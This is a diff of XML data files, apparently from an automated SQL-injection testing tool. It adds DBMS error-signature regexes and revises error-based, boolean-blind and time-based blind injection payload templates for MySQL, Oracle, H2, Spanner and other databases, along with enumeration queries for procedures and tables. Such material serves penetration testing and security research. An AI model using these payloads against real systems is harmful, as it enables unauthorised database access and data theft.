+        <info dbms_version="1" type="Linux" distrib="Ubuntu" release="22.04" codename="jammy"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.24\.04">
+        <info dbms_version="1" type="Linux" distrib="Ubuntu" release="24.04" codename="noble"/>
+    </regexp>
+
 </root>

data/xml/boundaries.xml

@@ -437,18 +437,10 @@ Formats:
         <clause>9</clause>
         <where>1</where>
         <ptype>1</ptype>
-        <prefix>+(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>)+</suffix>
-    </boundary>
-
-    <boundary>
-        <level>5</level>
-        <clause>9</clause>
-        <where>1</where>
-        <ptype>2</ptype>
         <prefix>+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
         <suffix>)+</suffix>
     </boundary>
+
     <!-- End of pre-WHERE generic boundaries -->
 
     <!-- Pre-WHERE derived table boundaries - e.g. "SELECT * FROM (SELECT column FROM table WHERE column LIKE '%$_REQUEST["name"]%') AS t1"-->

data/xml/errors.xml

@@ -9,12 +9,15 @@
         <error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
         <error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
         <error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/>
+        <error regexp="check the manual that (corresponds to|fits) your TiDB server version" fork="TiDB"/>
         <error regexp="Unknown column '[^ ]+' in 'field list'"/>
         <error regexp="MySqlClient\."/>
         <error regexp="com\.mysql\.jdbc"/>
         <error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
         <error regexp="Pdo[./_\\]Mysql"/>
         <error regexp="MySqlException"/>
+        <error regexp="pymysql\.err\."/>
+        <error regexp="MySQLdb\.(_exceptions\.|\w+Error)"/>
         <error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
         <error regexp="is not supported by MemSQL" fork="MemSQL"/>
         <error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
@@ -33,6 +36,8 @@
         <error regexp="org\.postgresql\.jdbc"/>
         <error regexp="Pdo[./_\\]Pgsql"/>
         <error regexp="PSQLException"/>
+        <error regexp="psycopg2?\.(errors\.|\w+Error)"/>
+        <error regexp="asyncpg\.(exceptions\.|\w+Error)"/>
     </dbms>
 
     <dbms value="Microsoft SQL Server">
@@ -77,6 +82,8 @@
         <error regexp="Zend_Db_(Adapter|Statement)_Oracle_Exception"/>
         <error regexp="Pdo[./_\\](Oracle|OCI)"/>
         <error regexp="OracleException"/>
+        <error regexp="cx_Oracle\.\w+Error"/>
+        <error regexp="oracledb\.(exceptions\.|\w+Error)"/>
     </dbms>
 
     <dbms value="IBM DB2">
@@ -172,6 +179,7 @@
         <error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
         <error regexp="\[MonetDB\]\[ODBC Driver"/>
         <error regexp="nl\.cwi\.monetdb\.jdbc"/>
+        <error regexp="org\.monetdb\.jdbc"/>
     </dbms>
 
     <dbms value="Apache Derby">
@@ -217,7 +225,7 @@
     </dbms>
 
     <dbms value="CrateDB">
-        <error regexp="io\.crate\.client\.jdbc"/>
+        <error regexp="io\.crate\."/>
     </dbms>
 
     <dbms value="Cache">
@@ -237,4 +245,15 @@
         <error regexp="Virtuoso S0002 Error"/>
         <error regexp="\[(Virtuoso Driver|Virtuoso iODBC Driver)\]\[Virtuoso Server\]"/>
     </dbms>
+
+    <dbms value="Snowflake">
+        <error regexp="001003 \(42000\):"/>
+        <error regexp="100038 \(22018\):"/>
+        <error regexp="000904 \(42000\):"/>
+        <error regexp="SQL compilation error: (syntax )?error line \d+ at position \d+"/>
+    </dbms>
+
+    <dbms value="Spanner">
+        <error regexp="type.googleapis.com/zetasql.ErrorMessageModeForPayload"/>
+    </dbms>
 </root>

data/xml/payloads/boolean_blind.xml

@@ -598,7 +598,7 @@ Tag: <test>
     </test>
 
     <test>
-        <title>SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)</title>
+        <title>SQLite AND boolean-based blind - WHERE or HAVING clause (JSON)</title>
         <stype>1</stype>
         <level>2</level>
         <risk>1</risk>
@@ -617,7 +617,7 @@ Tag: <test>
     </test>
 
     <test>
-        <title>SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)</title>
+        <title>SQLite OR boolean-based blind - WHERE or HAVING clause (JSON)</title>
         <stype>1</stype>
         <level>3</level>
         <risk>3</risk>
@@ -1596,13 +1596,13 @@ Tag: <test>
         <risk>1</risk>
         <clause>1-8</clause>
         <where>1</where>
-        <vector>;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END</vector>
+        <vector>;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END FROM DUAL</vector>
         <request>
-            <payload>;SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END</payload>
+            <payload>;SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END FROM DUAL</payload>
             <comment>--</comment>
         </request>
         <response>
-            <comparison>;SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END</comparison>
+            <comparison>;SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END FROM DUAL</comparison>
         </response>
         <details>
             <dbms>SAP MaxDB</dbms>

data/xml/payloads/error_based.xml

@@ -2,6 +2,95 @@
 
 <root>
     <!-- Error-based tests - WHERE, HAVING, ORDER BY or GROUP BY clause -->
+    <test>
+        <title>MySQL &gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
+        <stype>2</stype>
+        <level>1</level>
+        <risk>1</risk>
+        <clause>1,2,3,8,9</clause>
+        <where>1</where>
+        <vector>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
+        <request>
+            <!-- These work as good as ELT(), but are longer
+            <payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
+            <payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
+            -->
+            <payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>MySQL</dbms>
+            <dbms_version>&gt;= 5.1</dbms_version>
+        </details>
+    </test>
+
+    <test>
+        <title>MySQL &gt;= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
+        <stype>2</stype>
+        <level>1</level>
+        <risk>3</risk>
+        <clause>1,2,3,8,9</clause>
+        <!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
+        <where>1</where>
+        <vector>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
+        <request>
+            <!-- These work as good as ELT(), but are longer
+            <payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
+            <payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
+            -->
+            <payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>MySQL</dbms>
+            <dbms_version>&gt;= 5.1</dbms_version>
+        </details>
+    </test>
+
+    <test>
+        <title>MySQL &gt;= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
+        <stype>2</stype>
+        <level>2</level>
+        <risk>1</risk>
+        <clause>1,2,3,8,9</clause>
+        <where>1</where>
+        <vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
+        <request>
+            <payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>MySQL</dbms>
+            <dbms_version>&gt;= 5.6</dbms_version>
+        </details>
+    </test>
+
+    <test>
+        <title>MySQL &gt;= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
+        <stype>2</stype>
+        <level>2</level>
+        <risk>3</risk>
+        <clause>1,8,9</clause>
+        <where>1</where>
+        <vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
+        <request>
+            <payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>MySQL</dbms>
+            <dbms_version>&gt;= 5.6</dbms_version>
+        </details>
+    </test>
+
     <test>
         <title>MySQL &gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)</title>
         <stype>2</stype>
@@ -91,46 +180,6 @@
         </details>
     </test>
 
-    <test>
-        <title>MySQL &gt;= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
-        <stype>2</stype>
-        <level>4</level>
-        <risk>1</risk>
-        <clause>1,2,3,8,9</clause>
-        <where>1</where>
-        <vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
-        <request>
-            <payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
-        </request>
-        <response>
-            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
-        </response>
-        <details>
-            <dbms>MySQL</dbms>
-            <dbms_version>&gt;= 5.6</dbms_version>
-        </details>
-    </test>
-
-    <test>
-        <title>MySQL &gt;= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
-        <stype>2</stype>
-        <level>4</level>
-        <risk>3</risk>
-        <clause>1,8,9</clause>
-        <where>1</where>
-        <vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
-        <request>
-            <payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
-        </request>
-        <response>
-            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
-        </response>
-        <details>
-            <dbms>MySQL</dbms>
-            <dbms_version>&gt;= 5.6</dbms_version>
-        </details>
-    </test>
-
     <test>
         <title>MySQL &gt;= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
         <stype>2</stype>
@@ -175,7 +224,7 @@
     <test>
         <title>MySQL &gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
         <stype>2</stype>
-        <level>2</level>
+        <level>4</level>
         <risk>1</risk>
         <clause>1,2,3,8,9</clause>
         <where>1</where>
@@ -199,7 +248,7 @@
     <test>
         <title>MySQL &gt;= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
         <stype>2</stype>
-        <level>2</level>
+        <level>4</level>
         <risk>3</risk>
         <clause>1,2,3,8,9</clause>
         <!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
@@ -222,7 +271,7 @@
     </test>
 
     <test>
-        <title>MySQL &gt;= 5.0 (inline) error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
+        <title>MySQL &gt;= 5.0 (inline) error-based - Table name clause (FLOOR)</title>
         <stype>2</stype>
         <level>5</level>
         <risk>1</risk>
@@ -241,55 +290,6 @@
         </details>
     </test>
 
-    <test>
-        <title>MySQL &gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
-        <stype>2</stype>
-        <level>1</level>
-        <risk>1</risk>
-        <clause>1,2,3,8,9</clause>
-        <where>1</where>
-        <vector>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
-        <request>
-            <!-- These work as good as ELT(), but are longer
-            <payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
-            <payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
-            -->
-            <payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
-        </request>
-        <response>
-            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
-        </response>
-        <details>
-            <dbms>MySQL</dbms>
-            <dbms_version>&gt;= 5.1</dbms_version>
-        </details>
-    </test>
-
-    <test>
-        <title>MySQL &gt;= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
-        <stype>2</stype>
-        <level>1</level>
-        <risk>3</risk>
-        <clause>1,2,3,8,9</clause>
-        <!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
-        <where>1</where>
-        <vector>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
-        <request>
-            <!-- These work as good as ELT(), but are longer
-            <payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
-            <payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
-            -->
-            <payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
-        </request>
-        <response>
-            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
-        </response>
-        <details>
-            <dbms>MySQL</dbms>
-            <dbms_version>&gt;= 5.1</dbms_version>
-        </details>
-    </test>
-
     <test>
         <title>MySQL &gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)</title>
         <stype>2</stype>
@@ -342,7 +342,7 @@
     <test>
         <title>MySQL &gt;= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
         <stype>2</stype>
-        <level>3</level>
+        <level>5</level>
         <risk>1</risk>
         <clause>1,2,3,8,9</clause>
         <where>1</where>
@@ -367,7 +367,7 @@
         <!-- It does not work against ORDER BY or GROUP BY clause -->
         <title>MySQL &gt;= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)</title>
         <stype>2</stype>
-        <level>3</level>
+        <level>5</level>
         <risk>3</risk>
         <clause>1,8,9</clause>
         <where>1</where>
@@ -392,7 +392,7 @@
     <test>
         <title>MySQL OR error-based - WHERE or HAVING clause (FLOOR)</title>
         <stype>2</stype>
-        <level>4</level>
+        <level>5</level>
         <risk>3</risk>
         <clause>1,8,9</clause>
         <where>2</where>
@@ -593,7 +593,7 @@
         <risk>3</risk>
         <clause>1,9</clause>
         <where>2</where>
-        <vector>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
+        <vector>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
         <request>
             <payload>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
         </request>
@@ -880,7 +880,7 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
+        <vector>AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector>
         <request>
             <payload>AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
         </request>
@@ -899,7 +899,7 @@
         <risk>3</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
+        <vector>OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector>
         <request>
             <payload>OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
         </request>
@@ -911,6 +911,81 @@
         </details>
     </test>
 
+    <test>
+        <title>H2 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST)</title>
+        <stype>2</stype>
+        <level>1</level>
+        <risk>1</risk>
+        <clause>1,2,3,9</clause>
+        <where>1</where>
+        <vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT)</vector>
+        <request>
+            <payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT)</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>H2</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>H2 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST)</title>
+        <stype>2</stype>
+        <level>4</level>
+        <risk>3</risk>
+        <clause>1,2,3,9</clause>
+        <where>1</where>
+        <vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT)</vector>
+        <request>
+            <payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT)</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>H2</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>Spanner AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
+        <stype>2</stype>
+        <level>5</level>
+        <risk>1</risk>
+        <clause>1,2,3,8,9</clause>
+        <where>1</where>
+        <vector>AND ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL</vector>
+        <request>
+            <payload>AND ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Spanner</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>Spanner OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
+        <stype>2</stype>
+        <level>5</level>
+        <risk>3</risk>
+        <clause>1,2,3,8,9</clause>
+        <where>1</where>
+        <vector>OR ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL</vector>
+        <request>
+            <payload>OR ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Spanner</dbms>
+        </details>
+    </test>
     <!--
          TODO: if possible, add payload for SQLite, Microsoft Access,
          and SAP MaxDB - no known techniques at this time
@@ -987,7 +1062,7 @@
     <test>
         <title>MySQL &gt;= 5.6 error-based - Parameter replace (GTID_SUBSET)</title>
         <stype>2</stype>
-        <level>5</level>
+        <level>3</level>
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>3</where>
@@ -1027,7 +1102,7 @@
     <test>
         <title>MySQL &gt;= 5.0 error-based - Parameter replace (FLOOR)</title>
         <stype>2</stype>
-        <level>2</level>
+        <level>4</level>
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>3</where>
@@ -1181,7 +1256,7 @@
         <risk>1</risk>
         <clause>1,3</clause>
         <where>3</where>
-        <vector>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
+        <vector>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
         <request>
             <payload>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
         </request>
@@ -1276,7 +1351,7 @@
     <test>
         <title>MySQL &gt;= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)</title>
         <stype>2</stype>
-        <level>5</level>
+        <level>3</level>
         <risk>1</risk>
         <clause>2,3</clause>
         <where>1</where>
@@ -1316,7 +1391,7 @@
     <test>
         <title>MySQL &gt;= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)</title>
         <stype>2</stype>
-        <level>4</level>
+        <level>5</level>
         <risk>1</risk>
         <clause>2,3</clause>
         <where>1</where>
@@ -1376,7 +1451,7 @@
     <test>
         <title>MySQL &gt;= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)</title>
         <stype>2</stype>
-        <level>3</level>
+        <level>5</level>
         <risk>1</risk>
         <clause>2,3</clause>
         <where>1</where>
@@ -1458,7 +1533,7 @@
         <risk>1</risk>
         <clause>2,3</clause>
         <where>1</where>
-        <vector>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
+        <vector>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
         <request>
             <payload>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
         </request>

data/xml/payloads/inline_query.xml

@@ -141,7 +141,7 @@
         <risk>1</risk>
         <clause>1,2,3,8</clause>
         <where>3</where>
-        <vector>('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
+        <vector>('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector>
         <request>
             <payload>('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
         </request>

data/xml/payloads/time_blind.xml

@@ -1626,9 +1626,9 @@
         <risk>2</risk>
         <clause>1,2,3,9</clause>
         <where>3</where>
-        <vector>(CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])</vector>
+        <vector>(CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END)</vector>
         <request>
-            <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])</payload>
+            <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END)</payload>
         </request>
         <response>
             <time>[DELAYED]</time>

data/xml/queries.xml

@@ -47,6 +47,10 @@
             <inband query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST" query2="SELECT INFO FROM DATA_DICTIONARY.PROCESSLIST"/>
             <blind query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST ORDER BY ID LIMIT %d,1" query2="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE ID=%d" query3="SELECT ID FROM INFORMATION_SCHEMA.PROCESSLIST LIMIT %d,1" count="SELECT COUNT(DISTINCT(INFO)) FROM INFORMATION_SCHEMA.PROCESSLIST"/>
         </statements>
+        <procedures>
+            <inband query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/>
+            <blind query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema') ORDER BY ROUTINE_SCHEMA,ROUTINE_NAME LIMIT %d,1" count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/>
+        </procedures>
         <dbs>
             <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA" query2="SELECT db FROM mysql.db"/>
             <blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1" query2="SELECT DISTINCT(db) FROM mysql.db LIMIT %d,1" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA" count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db"/>
@@ -61,7 +65,8 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
-            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s"/>
